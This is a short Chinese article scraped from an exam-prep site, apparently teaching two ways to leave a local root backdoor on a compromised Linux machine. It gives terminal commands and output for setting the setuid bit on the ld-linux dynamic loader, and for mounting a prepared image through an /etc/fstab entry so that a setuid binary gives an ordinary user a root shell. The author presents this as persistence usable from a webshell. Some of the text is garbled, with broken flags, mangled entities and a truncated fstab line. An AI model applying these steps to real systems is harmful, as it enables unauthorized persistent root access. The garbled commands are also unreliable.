Linux下留本地后门的两个方法Linux认证考试 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/644/2021_2022_Linux_E4_B8_8B_E7_95_c103_644705.htm 方法一：setuid的方法，其实8是很隐蔽。看看过程: [root@localdomain lib]# ls -l |grep ld-linux lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -gt. ld-linux.so.2 [root@localdomain lib]# chmod s ld-linux.so.2 [root@localdomain lib]# ls -l |grep ld-2.7.so -rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -gt.&gt. /etc/fstab 然后从本机把一个文件到目标机器上去，这里我们命名为test [xiaoyu@localdomain tmp]$ ls -l test -rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test [xiaoyu@localdomain tmp]$ mount test [xiaoyu@localdomain tmp]$ cd /mnt [xiaoyu@localdomain mnt]$ ls -l total 18 drwx------ 2 root root 12288 2008-04-20 05:44 lost found -rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root [xiaoyu@localdomain mnt]$ ./root sh-3.2# 看到了吧，从普通用户提升到root了。呵呵。 test这个文件baidu貌似木有上传功能撒，木办法传 貌似可能有人说本地后门木啥鸟用，但是你要搞清楚：一个webshell里面就可以完成这一切.... 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com